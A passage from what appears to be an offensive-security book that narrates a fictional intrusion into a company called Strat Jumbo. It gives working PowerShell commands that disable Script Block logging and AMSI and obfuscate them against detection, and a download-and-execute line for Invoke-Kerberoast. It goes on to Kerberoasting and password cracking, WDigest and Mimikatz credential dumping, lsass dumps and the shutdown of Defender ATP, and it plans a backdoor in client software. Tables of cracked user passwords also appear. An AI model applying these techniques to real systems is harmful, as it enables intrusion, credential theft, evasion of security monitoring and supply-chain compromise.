Ps_instance.AddCommand("get-process");
Ps_instance.AddCommand("out-string");
Ps_instance.AddStatement();
Ps_instance.AddScript("net user");
Ps_instance.AddStatement();
Ps_instance.AddScript("ls c: | out-string");
Busted!
While this solution does provide a working bypass for the issues at
hand (Applocker and Constrained Language mode), it is simply not
practical to rebuild a project every time we launch a command. To address
that, we crank up our previous build code to include a PowerShell-like
console that interactively executes commands and displays the output.
Almost like the real PowerShell console.
# Add support for the default proxy with cached user credentials
PS X:\> $browser.Proxy.Credentials
=[System.Net.CredentialCache]::DefaultNetworkCredentials;
PS X:\>
**Note**
For the sake of simplicity, I have included the real links in the snippets of
code used in this book. In a real-world scenario, consider hosting all
scripts in custom domains to lower the suspicion rate.
****
Given the length of data we are about to retrieve, we shall not inspect
it right away; rather, we will write results to multiple files and then upload
them to our C2 server for thorough analysis.
Our next step is to list available shares, which is one of the most
important resources in a domain as it usually contains valuable
information ranging from passwords to actual business data.
As you can see, Strat Jumbo uses code names from Game of Thrones
to refer to their biggest software projects. Below is a user membership
preview based on data gathered:
YGRITTE lizzie.dutch...
CERSEI mozzie.caffrey,lucilla.silvy...
TYRION neil.cobbo...
TYWIN tara.tomora...
52 https://adsecurity.org/?p=1772
Server logs are replicated to an offset location, which is evident by the
presence of nxlog++ (a software for log forwarding) in the active process
list:
We should be careful with our lateral propagation not to leave too wide
a trail behind us. If we are lucky, these logs get piled on every day and
then deleted a month later without so much as a glance.
As for the antivirus product, the only one that seems to be active is
Windows Defender, which is Microsoft’s built-in default antivirus. You
would think that it is a piece of cake to bypass it, but it will cause us some
headache later on.
Strat Jumbo is no joke after all. Yet here we are with a working shell
on their server by exploiting one of the most basic attacks: password
stealing. Another testimony to the power of human weakness.
We take the wrong turn and they will hunt us like rabbits on a green
and open field. And this is only the tip of the iceberg. There may be more
products that we do not know of hiding deep within the infrastructure, like
packet inspection, event correlation, behavioral monitoring, etc.
To that end, we connect once more to the Citrix server using Laura’s
account:
We give them a few days to see if they take any active measures
against our IP addresses (FrontGun server and phishing website). This
will give us a good insight into their incident response skills.
***
Other NET commands like “net group /domain” and “net group
‘domain admins’ /domain”, on the other hand, do issue network packets
to the Domain Controller (DC). They request and write information on the
DC through the named pipe SAMR.
While this is a perfectly legit way to interact with the system, the fact
is that SAMR is rarely used in a real-life environment. Most middleware
and applications usually request information from the DC with the more
common LDAP protocol.
Unlikely as it may seem, given their auditing policies and very swift
response, we should not discard the possibility that Strat Jumbo could
indeed monitor and flag this unusual traffic targeting their DC.
This script loops through all machines in the Active Directory domain
and connects to each of them to list their shares:
This must have been the final drop that forced the security team to
seriously wonder about previous weak signals, connect the dots in some
way, and decide to reset everybody’s password “just in case”.
These consoles, being just another corporate asset, are often tied to
the Windows Active Directory to authenticate admins. This avoids local
generic accounts and eases user management by placing admins in a
well-defined group. Some software even requires domain accounts to
retrieve information about workstations, user accounts, windows logs,
etc.
You think this is bad? Wait until you hear about Microsoft ATA55.
53 https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
54 https://www.ibm.com/us-en/marketplace/ibm-qradar-siem
55 https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
It bases its analysis on two main logics: behavioral analysis and
popular attack signatures.
After the learning period is over, any traffic that deviates to some
extent from this base model is flagged as suspicious. Our successive
authentications to multiple machines must have surely triggered the
behavioral analysis module, for instance56.
56http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-
ata-day5.html
• Session enumeration (listing active users on a machine)
• DCSync (replicating password hashes from the DC)
One thing is for sure: attacking Strat Jumbo to get into G&S Trust may
not be the quick and easy path we anticipated it would be...
Back to the arena
“Death smiles at us all. All we can do is smile
back.”
Marcus Aurelius (Gladiator)
Back to square one. Well, not really. We now have a much better
understanding of Strat Jumbo’s security and that is very valuable. We
know more about some of the traps carefully laid out to catch intrusion
attempts and we are better equipped to avoid them.
We will have trouble mimicking the entire Strat Jumbo system activity.
As such, our environment will probably only prove useful against ATA’s
signature module. Any attack payload that we devise will therefore have
a margin error—a chance of being detected by the behavior analysis
module.
Any future command likely to trigger network traffic will thus first be
run in this lab environment before being executed on Strat Jumbo’s
network.
Obviously, all of this work is for nothing if we cannot find a new way
inside Strat Jumbo’s network. So, let’s first tackle this problem before
puzzling over ATA and QRADAR.
Simple physics.
Given how poorly they have handled this particular incident (no IP
blocking or probing of the phishing page), it is highly unlikely that the
security team conducted a proper forensic examination.
We do not want to trigger any detection rule (too many failed attempts
or the same IP trying multiple accounts in a short time frame, etc.) much
less block an account. A single, carefully calculated password guess for
each account is all we need to test our hypothesis.
Soon enough, we land our lucky shot: Ron / AkRiV€ra9 (the previous
password being AkRiV€ra8).
What some might call a fluke or a lucky draw, I call an educated guess.
We were bound to find at least a couple of accounts that stuck to their
same pattern. People frequently form a special bond with their
passwords.
And we are back in the game! Ron’s Citrix profile is almost empty. No
documents related to his programming activities are stored in his
personal folder and his Firefox is almost blank. This makes it all the more
exciting! Some privilege escalation is called for!
58https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-
constrained-language-mode/
59Only Windows Defender, ESET, AVAST and AVG support AMSI for now
By default, transcript files are stored in the user’s personal folder, but
admins can (and should) store them in a separate and protected network
share.
If that were the case in Strat Jumbo, we would have no choice but to locate
that share, gain enough privileges, and then surreptitiously alter the log
files to remove our activity trail60.
****
Can we read this memory space and bypass the rules of object-
oriented programming (OOP) stating that private variables cannot be
accessed from outside their classes? Yes—and yes!
60https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-
team/
61 Decompiling .NET binaries can be done through .NET Reflector
https://www.red-gate.com/products/dotnet-development/reflector/
To achieve this little voodoo trick, we rely on a feature called
Reflection. Reflection allows a piece of code to read a binary’s metadata,
retrieve methods and members and alter them at run time. It is usually a
property of self-described binaries like .NET assemblies and Java
bytecode.
A .NET binary is called an Assembly (even though it does not contain any
real native machine code) and is composed of MSIL code, which the
compiler translated from a high-level code (C# usually).
At run time, the MSIL code is compiled on-the-fly to machine code by the
Windows CLR (common language runtime). The concept is very similar
to Java bytecode if you will.
PS C:\examples\HLL> [ref].Assembly
PS C:\examples\HLL>
[ref].Assembly.GetType('System.Management.Automation.Utils')
Using this handle, we move on to fetching the
cachedGroupPolicySettings field within this class by calling the
GetField method. It expects the variable’s name and information about
its type—otherwise known as bindings flags—like Public, Nonpublic,
Static, Instance, etc.62.
PS C:\examples\HLL>
[ref].Assembly.GetType('System.Management.Automation.Utils').Get
Field("cachedGroupPolicySettings","NonPublic,Static")
PS C:\> $GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils').Get
Field("cachedGroupPolicySettings","NonPublic,Static");
PS C:\>$GPF.getValue("")
PS C:\> $GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils').Get
Field("cachedGroupPolicySettings","NonPublic,Static");
PS C:\> $GPF['ScriptBlockLogging']['EnableScriptBlockLogging']=0
When executing this script on the target machine, we need not worry
about ATA, since there is no communication with the DC. Qradar, on the
other hand, still poses a real threat. When you think about it, this bypass
command line is executed right before Script Block logging is disabled,
which means that it will inevitably be logged under event 4104:
Notice that unlike other 4104 events that were simply categorized as
“Verbose”, the one containing the Script Block logging bypass was
flagged as a “Warning”.
PS C:\>
[ScriptBlock].GetField('signatures','NonPublic,Static').GetValue
($null)
Based on the previous list, we know that the following strings are
flagged in our Script Block logging bypass command:
• GetField
• NonPublic
• ScriptBlockLogging
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils').Get
Field('cachedGroupPolicySettings', 'No'+'nPublic,Static')
$GPS = $GPF.GetValue($null)
$ GPS ['Scri'+'ptBlockLogging']['EnableScriptBlockLogging'] = 0
Oh, but look at that! Now GetField is a string, so we can apply classic
concatenation techniques again:
[...]."Ge"+"tField"('cachedGroupPolicySettings',
'No'+'nPublic,Static')
And now for the grand finale, the cherry on top of this obfuscation
awesomeness—we can add tick marks (`) inside strings and still get
proper code execution.
The only constraint being that it should not precede one of the following
characters (0, a, b, f, n, r, t, v) lest it be interpreted as a special character
(resp. null, alert, backspace, form feed, new line, carriage return,
horizontal tab, vertical tab).
[...]."Ge"+"tF`ield"('cachedGroupPolicySettings',
'No'+'nPublic,Static')
[...]."Ge"+"t`F`ield"('cachedGroupPolicySettings',
'No'+'nPublic,Static')
The final Script Block logging code now looks like the following:
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils')."Get
F`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)
$GPS['Script'+'BlockLogging']['EnableS'+'criptBlockLogging'] = 0
$GPS['Sc'+'riptBlockLog'+'ging']['En'+'ableScriptBlockInvoca'+'ti
onLoggi'+'ng'] = 0
When we run this command in our test lab, it gets logged as expected,
but it is assigned a low “verbose” level, thus drowning it in the midst of
thousand meaningless other verbose messages.
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils')."Get
F`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)
Finally, one *big* problem down. Big Brother is no longer judging each
command we type in the PowerShell command prompt. We can execute
almost anything we want on this machine. But what exactly? We have
already searched for potential passwords and documents stored locally
but got squat for our efforts.
Russian roulette
Whenever you feel like you’ve hit a dead end, always go back to
reconnaissance. Somewhere in the midst of those heaps of data, you will
always find something to kick start your creativity once again.
For instance, all machines in the forest rely on the LDAP protocol to
request copies of AD objects (users, groups, machines, GPO, etc.) for
caching purposes. Thus, using LDAP to query users, groups and AD
objects in general should not trigger any alerts:
PS X:\>[adsisearcher]'(memberOf=CN=Domain
Admins,CN=users,DC=Stratjumbo,DC=lan)'
65 https://github.com/worawit/MS17-010
Obviously, dealing directly with the adsisearcher class to query
LDAP objects can easily create headaches, and that’s why we love
PowerView so much (most if not all Get-Net* functions rely on LDAP).
We only need to remember to disable Script Block logging before loading
it again as usual in memory and launching commands:
**Note**
# List groups
PS> Get-WmiObject -class win32_groupindomain | select
partcomponent
One piece of information that we did not bother getting before was the
list of machines declared in Active Directory. Let’s set that straight, shall
we:
The SPN contains not only the service’s name, but also—according
to official specifications66—its port number and the server it is running on.
The interesting part is that per Kerberos’ design, any authenticated user
can query the list of all valid SPNs.
So, there you have it. Simple port enumeration without drowning the
network with useless packets67. We now have a partial list of webservers
(STRAT-AK-02, STRAT-AK-01, etc.) and, more importantly, databases
(STRAT-CI-03, STRAT-CI-05, STRAT-AK-03, etc.) that seem to run
using domain accounts like sqlexpress and sqlexpress2.
66 https://docs.microsoft.com/en-us/sql/database-engine/configure-
windows/register-a-service-principal-name-for-kerberos-connections
67 More extensive read at https://adsecurity.org/?p=1508
The obvious limitation is that we only get services that support
Kerberos authentication, such as some web servers (IIS, Tomcat, etc.),
SQL server databases, WinRM (remote PowerShell execution), RDP
(remote desktop session), Exchange, and so forth. But this simple
information can go a long way, as we will soon see.
We can use this PowerShell borrowed from TechNet to list all SPN
aware services68. The DC, for instance, has many SPNs tied to its
machine account STRAT-AD-01$: Ldap service, RDP or TERMSRV,
DNS service, etc.
Name: strat-ci-01.stratjumbo.lan
Address: 10.134.0.78
Name: strat-ak-03.stratjumbo.lan
Address: 10.134.0.14
68 https://gallery.technet.microsoft.com/List-all-SPNs-Used-in-your-e0c6267a
STRAT-CI-03 is most likely the Citrix database, given the naming
similarity with the XenApp server we currently are on (STRAT-CI-01).
This conclusion is further reinforced by the fact that STRAT-CI-03 is the
only database we can reach from our current network segment:
After all, it makes sense that all Citrix servers should be able to
communicate with their database at some point to retrieve objects, user-
session mappings, etc.
Chances are that the Citrix database can communicate freely with
other databases in the same sub network. Thus, if we manage to gain
control over this one single database, we could pivot to other databases
and look for credentials in memory, passwords in scripts, and maybe
even development source code.
We still need to figure out how to first attack this database. Fear not,
this is where Kerberos’ magic comes into play once more. Indulge my
small digression about the topic to introduce the next attack.
We have purposely left out the many session key exchanges in the
process to symmetrically encrypt data since they do not serve our
immediate purposes. Instead, we will focus on the TGS ticket—the
encrypted blob of data containing the user’s identity. This ticket is
encrypted with the service account’s NTLM hash, i.e., its password.
The great thing about this attack is that it is completely legit, both from
a system and network point of view. TGS requests to access a service
(windows machine, network share, SQL server, etc.) happen all the time,
so ATA has a hard time coming up with a valid signature to flag this attack.
We do not need to worry too much about obfuscating our payload since
we have already bypassed Script Block logging:
#Download PowerView
PS X:\>
IEX($browser.DownloadString("https://raw.githubusercontent.com/E
mpireProject/Empire/master/data/module_source/credentials/Invoke
-Kerberoast.ps1 "));
#Call Invoke-Kerberoast
PS X:\> Invoke-Kerberoast -OutputFormat hashcat -LDAPFilter
'(SamAccountName=*sql*)' | out-file hash.txt
$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-
03:14488*$876E348CCEF78F424FEA4DE72...
$krb5tgs$23$*sqlexpress2$stratjumbo.lan$MSSQLSvc/strat-AK-
03:1433*$188A113BDCA92CF63DBC4699...
$krb5tgs$23$*sqlexpress_fs$stratjumbo.lan$MSSQLSvc/strat-AK-
01:1433*$188A113BDCA92CF63DBC4699...
$krb5tgs$23$*sql_dev$stratjumbo.lan$MSSQLSvc/strat-AK-
03:14332*$188A113BDCA92CF63DBC4699...
69 https://hashcat.net/wiki/doku.php?id=hashcat
• Tuning up the cracking rig to use powerful graphic processing units
(GPU). In contrast with CPUs that are designed to sequentially run
instructions on their four or eight cores, GPUs favor parallel
operations distributed over thousands of less powerful cores. This
is ideal for an operation like cracking passwords, as it requires the
same instruction be applied to multiple sets of data with relatively
uncorrelated outputs.
The hardware cost may be prohibitive unless you want to follow a part-
time mining hobby (then again, more specialized and cheaper cards can
be used for that purpose70) and the occasional electric bill might quickly
get salty.
As of 2018, the Nvidia GTX 1080 Ti71 is probably one of the best
graphic cards for cracking passwords. Below are benchmark reports of
running Hashcat on a single GTX 1080 Ti card72:
[...]
Hashtype: MD5
Speed.Dev.#1.....: 30963.5 MH/s (55.28ms)
[...]
If investing in GPU cards does not appeal to the hacker and gamer
inside of you, you can always take advantage of cloud GPU computing
such as AWS, PaperSpace, OVH, Google, etc.
70 https://www.buybitcoinworldwide.com/mining/hardware/
71 https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-
keywords=GTX+1080+Ti
72 https://gist.github.com/epixoip/973da7352f4cc005746c627527e4d073
One of the main limitations of this setup, however, is the power of the
graphics cards offered. Most cloud providers rely on the Tesla K80 card
for their default instances, which is around 13 times less performant than
the GTX 1080 Ti model. Below is a benchmark for cracking Kerberos
TGS tickets using popular graphics cards to give you an idea73 :
• 1× Tesla K80: 31.5 MH/s
• 1× Tesla M60: 141.6 MH/s
• 1× GTX 1080: 291.4 MH/s
• 1× GTX 1080 Ti: 413.8 MH/s
• 1× Tesla V100: 1008.4 MH/s
Only the 16xP3 instance on Amazon AWS uses V100 cards (eight of
them) reaching a hash rate of over eight billion hashes per second for
cracking Kerberos TGS tickets. If that’s not enough to break Strat
Jumbo’s hashes, I don’t know what will.
Not many people (admins and users alike) will choose “1bNoJeG%B”
as corporate passwords. And even if, by some miracle, they did choose
such a random password, it would take us months/years to exhaust all
the nine-character spaces to find it (when cracking Kerberos TGS ticket).
People use words and scenes they remember to form the root of their
passwords, so we need to look for wordlists listing names, places,
seasons, music bands, cities, as well as words related to Strat Jumbo’s
activity (programming and finance).
There are many themed wordlists on the Internet, but one of the most
complete and diversified is the one released by crackstation.net74, over
1,4 billion candidates including words extracted from Wikipedia, the
Gutenberg project, etc. This is a great input source that spans multiple
themes.
193011
74https://crackstation.net/buy-crackstation-wordlist-password-cracking-
dictionary.htm
root@C2Server:~# python wordcollector.py
http://gameofthrones.wikia.com/wiki/Game_of_Thrones_Wiki
The RockYou77 ruleset is a very good start for instance, but it does
not account for obvious combinations (leet letters followed by numbers,
special characters followed by numbers, capitalized first letter, and
prepended numbers or special characters, etc.).
To this end, I devised my own wordlist that you can find on the
following link78. I usually run it alongside the RockYou ruleset.
75 http://contest-2010.korelogic.com/rules-hashcat.html
76 https://github.com/praetorian-inc/Hob0Rules
77 https://github.com/hashcat/hashcat/blob/master/rules/rockyou-30000.rule
78
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/corporate.r
ule
Applying this ruleset to 1000 candidates yields a total of 34M
passwords, which might seem like a big number, but our platform (248
MH/s) would exhaust this key space in around one-tenth of a second
(0.13s).
Armed with all these candidates, we run two instances of the latest
Hashcat on our AWS GPU platform, one without rule processing using
leaked passwords and the other with full-on custom rules. We will come
back in a couple of hours or days to check the results:
$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-
03:14488*$87... 99fa91d:L3ic3st3r@87
79 https://hashes.org/leaks.php
80 https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords
Recovered........: 2/5 (40.00%) Digests, 2/5 (40.00%) Salts
[...]
Candidates.#1....: burnout -> L3ic3st3r@87
What do you know! Sqlexpress is part of the local admin group on the
STRAT-CI-03 server! The first server we really pwn inside Strat Jumbo’s
network!
YGRITTE lizzie.dutch...
CERSEI mozzie.caffrey,lucilla.silvy...
TYRION neil.cobbo...
TYWIN tara.tomora...
This is the same Citrix_srv account that holds admin privileges over
the Citrix server farm. This account would automatically grant us access
to passwords stored in XenApp’s servers’ memory.
These machines are usually a bottleneck of interactive sessions, so
Mimikatz will likely harvest a few dozen passwords every hour. Hopefully,
a few of these accounts will have relevant documents in their personal
folders or browser history and will shed some light on the project naming
issue.
Now, let’s get back to our use case involving a Mimikatz on the
database.
Since we are dealing with a new Windows Server 2016, we first need
to turn on the WDigest service provider that stores passwords in a
reversible format, otherwise Mimikatz will only grab NTLM hashes, which
we could obviously crack using or ultimate password cracking rig, but
turning on WDigest is a much simpler (and cheaper) alternative:
Next time the Citrix_srv connects to the server, its password will be
stored in a reversible format where Mimikatz can easily decrypt it.
81
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-
Mimikatz.ps1
Remember when we used to loudly and somewhat arrogantly declare
that antivirus products could only scan files on disk and are therefore
easily bypassed? Try saying that at a hacking conference now without
someone throwing you a brochure of a “next-gen” product. Even
Microsoft made sure to address the issue by introducing a native feature
called AMSI on their Windows 10 and Server 2016 releases.
Since we are admins on the box, we could just disable AMSI using
the built-in Set-MpPreference command (available only in elevated
mode):
Fortunately, we have alternatives that work just as fine and with much
less noise. Matt Graeber, leveraging the all-powerful Reflection
technique, came up with a one-line command to disable AMSI82. Another
interesting compilation of several bypasses can be found at the following
link, courtesy of Sam Ratashok (http://bit.ly/2DQ6wRM).
PS C:\>
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$t
rue)
82 https://twitter.com/mattifestation/status/735261176745988096?lang=en
This all works just fine, but as expected, the previous command to
disable AMSI is automatically flagged as a warning event (4101). We
need to add a layer of obfuscation or disable Script Block logging
altogether, just like we previously did83.
Additionally, and just to be on the safe side, we can slightly alter the
Invoke-Mimikatz script to make it less obvious for future nosy forensic
examiners: remove comments, change function and parameter names,
etc.
root@C2Server:~# sed -i -e
's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g'
Invoke-Mimikatz.ps1
When we combine the Script Block bypass routine, AMSI, and the
new Invoke-Wee script, the result looks something like this:
# Disable AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$t
rue);
Invoke-wee;
PS X:\> $command="set
cmd=$GPF=[ref].Assembly.GetType[...];Invoke-wee;"
We use this account to open a new session on the Citrix server. Since
we are now part of the admin group, we are no longer subject to
Applocker’s policies and thus Powershell’s Constrained mode. Both
limitations are magically lifted—not that they bothered us that much
anyway, but it sure makes it much easier from now on.
It took a while to get here, but we have finally started pwning some
accounts! We relaunch Mimikatz a couple more times during the next few
hours to slowly populate all our dev groups:
SNOW Jack.bosa/Spa98row!%
YGRITTE Lizzie.dutch/Holi_day_213
Mozzie.caffrey/12Drumbeat!
CERSEI
Lucilla.silvy/Greyjoy*1
TYRION N/A
DAENERYS Cassini.morini/Dragons*fire
Janet.mcentire/ Molly_Dorian10
RHAEGAR
Rodolpho.schwatz/Great*Gatsby0
TYWIN N/A
BAELISH N/A
Ron.bilius/AkRiV€ra9
TORMUND Richard.darwin/Greatest-Show-
3ver!
Laura.stevens/5YadorChan09
ARYA
Monica.fourb/WishYouHere*B
As you can see, in this scenario, we did not try to defeat ATA by bluntly
trying to bypass its signature detection module. We simply went with the
flow and paid careful attention to packets emitted by each of our
commands in order to blend in as much as possible with existing traffic.
We could have taken the hard approach and redesigned our tools to avoid
triggering ATA’s signature module.
For instance, when forging Kerberos tickets, ATA only flags the fact that
we request a Kerberos ticket using an NTLM hash. If we issue the same
request using AES 256 and 128 hashes (retrieved by Mimikatz as well),
we do not get a single beep.
There is much to be said about using these little tricks to defeat ATA at its
own game. If you are curious about the subject you can check out this
awesome talk at Black Hat 2017 (https://ubm.io/2G5LrEV).
****
C:\users\citrix_srv> quser
USERNAME SESSIONNAME ID STATE TIME LOGON TIME
>citrix_srv rdp-tcp#3 1 Active 3/8/2018 11:00 PM
neal.strauss rdp-tcp#4 2 Active 3/8/2018 09:12 PM
barry.lois rdp-tcp#5 3 Active 3/8/2018 09:20 PM
anya.ivanova rdp-tcp#6 4 Active 3/8/2018 09:22 PM
elise.first rdp-tcp#7 4 Active 3/8/2018 10:54 PM
[...]
Windows 10 versioning might raise a good deal of questions for those not
familiar with the new concept of the “operating system as a service”.
Indeed, Microsoft decided to continuously update the core functionalities
(not simply bug fixes like they previously did) of Windows 10 throughout
its lifetime.
Every six months or so, a new major update is released that changes the
major build number and adds new features.
84 https://www.microsoft.com/en-us/itpro/windows-10/release-information
85https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-
defender-atp/windows-defender-advanced-threat-protection
To prepare for our upcoming battle, we register for a trial version of
Windows Defender ATP86 and install it on a test machine. The registration
process takes 24 hours and the installation procedure less than a few
seconds since all Windows 10 machines come with the ATP service pre-
installed.
**Note**
That much cannot be said of other vendors who shy away from
presenting their products to security researchers while shoving them
down the throat of board executives.
****
86 https://www.microsoft.com/en-us/windowsforbusiness/windows-atp
Other times, it is not picked up at all, but the classic AMSI bypass is:
This last test clearly demonstrates that at least some part of the
detection algorithm is based on known suspicious string patterns.
Otherwise, no matter what the payload is, it should be able to tell when
AMSI is disabled.
The only consistent observation we can state for sure however, is that
any script bearing the slightest resemblance to the Empire PowerShell
project is almost automatically flagged.
Moving inside a company’s network with this kind of unpredictable
solution monitoring every command executed is painful to say the least
and offers few assurances. So let’s devise a way to completely bypass it,
shall we?
If you think about it, all that Mimikatz does is extract secrets stored in
the lsass.exe process responsible for handling Windows authentication.
We may not be able to perform a live analysis of the process while it is
running on the machine, but nothing forbids us from dumping its content
to a file and then feeding it offline to a Mimikatz running on our machine!
Now we wait. And wait... and nothing happens! Not a single beep from
Windows ATP, which is odd because what legitimate use can someone
get from dumping lsass.exe?
Anyway, now that we have a somewhat safe technique that flies under
ATP’s radar, we can turn our attention back to Strat Jumbo’s virtual
desktop.
**Tip**
87https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-
Minidump.ps1
To force users into re-entering their credentials, we can always terminate
their RDP sessions. Though it might seem brutal, the fact is users
frequently lose their Citrix sessions due to connectivity issues, latency or
default lockout time.
C:\> tsdiscon 2
****
We come back a couple of hours later to collect the Lsass image using
the task manager as shown previously. To extract secrets from this dump
file, we load it in a Mimikatz running on a similar machine in our lab
environment (i.e., a Windows 10 or Server 2016 64-bit). Obviously, we
can easily disable the antivirus on our own machine without fearing
potential fallouts:
mimikatz# sekurlsa::logonpasswords
[...]
* Username : Elise.First
* Domain : STRATJUMBO
* Password : Foryou09
[...]
* Username : anya.ivanova
* Domain : STRATJUMBO
* Password : Monet-#
[...]
And that’s how it’s done! We finally cover all Strat Jumbo’s dev
groups:
SNOW Jack.bosa/Spa98row!%
YGRITTE Lizzie.dutch/Holi_day_213
Mozzie.caffrey/12Drumbeat!
CERSEI
Lucilla.silvy/Greyjoy*1
Neil.strauss/Va12Crav!
TYRION
Barry.lois/Away_speed!!
DAENERYS Cassini.morini/Dragons*fire
Janet.mcentire/ Molly_Dorian10
RHAEGAR
Rodolpho.schwatz/Great*Gatsby0
TYWIN Tara.tomora/Checkme$
Elise.first/Foryou09
BAELISH
Anya.ivanova/ Monet-#
Ron.bilius/AkRiV€ra9
TORMUND Richard.darwin/Greatest-Show-
3ver!
Laura.stevens/5YadorChan09
ARYA
Monica.fourb/WishYouHere*B
For all intents and purposes, we are done with this workstation. We
got in, bypassed detection, and got the clear-text passwords.
But it would not be totally fair play to leave it at that now, would it?
Most advanced hacking tools perform heavy memory manipulation like
DLL injection, registering a driver, patching memory bytes, etc.
So, before closing this ATP chapter, let’s deal once and for all with the
real issue—ATP itself!
To shut it down for good, we need to mess with the binary path
pointing to the executable file on disk, but we are then hit with an access
denied error:
The reason for this error is that both the Sense and DiagTrack
services are tagged as Windows light protected services88.
88 https://twitter.com/tiraniddo/status/799766456695214080
89 http://ww.alex-ionescu.com/?p=116
Registering a driver on Windows 10 requires an EV certificate, which
costs around $44990 not factoring in identity checks. Some tools that
disable the protected flag like PPLKiller91 and Mimikatz come with their
own signed drivers and offer the option to disable process protection:
However, ATP picks up Mimikatz’s driver and it’s only a matter of time
before it picks up PPLKiller’s. After all, we cannot change the driver’s
name without requesting a new valid EV certificate, which considerably
limits our maneuver.
90 https://www.digicert.com/order/order-1.php
91 https://github.com/Mattiwatti/PPLKiller/blob/master/PPLKiller/main.cpp
In any case, this means that we can use our admin privileges to
change the Trustedinstaller’s binary path to launch a command prompt
that automatically stops the Sense service related to ATP:
We download the whole project from Github but only compile the two
modules NtObjectManager and NtApiDoNet93:
These DLLs do not trigger any antivirus alerts because they contain
legit Windows code and only define wrappers around low-level Windows
APIs. So, technically, we could just drop them on Strat Jumbo’s virtual
disk and we would totally get away with it. However, being the prudent
hackers that we are, we will opt for a clean in-memory loading.
We upload these DLLs into our C2 server and use the Load function
of the System.Reflection.Assembly class to dynamically load them in
memory. Again, this works because we are dealing with .NET assembly
files:
92 https://github.com/google/sandbox-attacksurface-analysis-tools/
93 You will need VisualStudio to easily compile the modules
https://www.visualstudio.com/vs/express/
#Setup browser object and proxy credentials as usual
PS C:\> $browser = New-Object System.Net.WebClient;
PS C:\> $browser.Proxy.Credentials=
[System.Net.CredentialCache]::DefaultNetworkCredentials;
Next, we import the loaded assemblies just like we would import any
regular DLL or PowerShell script and thus access their plethora of nifty
little functions to manipulate .NET objects:
PS C:\> Import-module $d
PS C:\> Import-module $e
PS C:\ $e.GetExportedTypes()
Great. Now we can start messing around with security tokens! First
things first, we acquire the SeDebugPrivilege to be able to interact with
system processes’ memory space:
PS C:\> $Token.Privileges
Now comes the final part. We will call the CreateProcess method
from the NtApiDotNet DLL to launch a command line interpreter with
TrustedInstaller.exe as its parent process. But before we do that, we
need to prepare three key parameters:
PS C:\> [NtApiDotNet.Win32.Win32Process]::CreateProcess($config)
**Tip 1**
If for some reason, we cannot mess with the service properties, we can
always mess with the binaries names in the folder “C:\Program
Files\Windows Defender Advanced Threat Protection\” using our
elevated prompt with TrustedInstaller’s token.
**Tip 2**
We fire up Firefox using Jack’s account (from the SNOW dev group)
and go through his bookmark bar, but nothing stands out. However, his
Firefox’s history contains a substantial list of interesting links:
This gives us a nice picture of the most visited (and thus most
valuable) internal assets of Strat Jumbo. What seems to be a wiki website
(howto.stratjumbo.lan) appears in the top ten most-visited links. This
looks important!
94 http://sqlitebrowser.org/
We connect transparently to the wiki using Jack’s windows
credentials, then leisurely peruse the website, soaking up as much
information about Strat Jumbo’s internal gears as possible. The section
“For young squires” is particularly helpful as it extensively details the
internal organization, project code names, programming practices, and
the validation workflow that new implemented features go through before
being pushed to clients.
Programmers are divided into two main teams: code writers and code
checkers. Code writers implement new functions and test them on
development servers to make sure the product runs smoothly.
Sure, we can spend a couple more hours digging into this Gitlab
server looking for vulnerabilities, root passwords, database access, and
other funky stuff to erase trails of our activity, but it hardly is a worthwhile
investment when you think about it from a broader perspective.
No matter how much we manipulate the activity logs, the fact is that
when reviewing the timeline, the backdoor will appear sandwiched
between two versions. A clean one and a tainted one, giving a fair
estimate of the backdoor’s first appearance in the code.
We could retroactively disable logging altogether or tamper with
activity logs, but that would spark severe inquisition rather than delay it.
Now that we know that Baelish is the code name for the Strat
Accounting project, we reconnect to Citrix using Elise’s account as it
belongs to the Baelish domain group and is authorized to update Strat
Accounting’s code.
Strat Accounting’s code is mostly in C#, which plays right into our field
of expertise. We can whip out all the good tricks we explored previously,
from Reflection to executing PowerShell commands.
Our first order of business is to make sure that our backdoor gets
easily triggered by the user. Hiding it in an obscure menu increases its
stealthiness, but if said menu is visited once every six months by an intern
who missed a button, then it won’t help much.
Lately, for instance, the Export plugin, seems to receive a good deal
of attention from different programmers. Given the regular activity, we
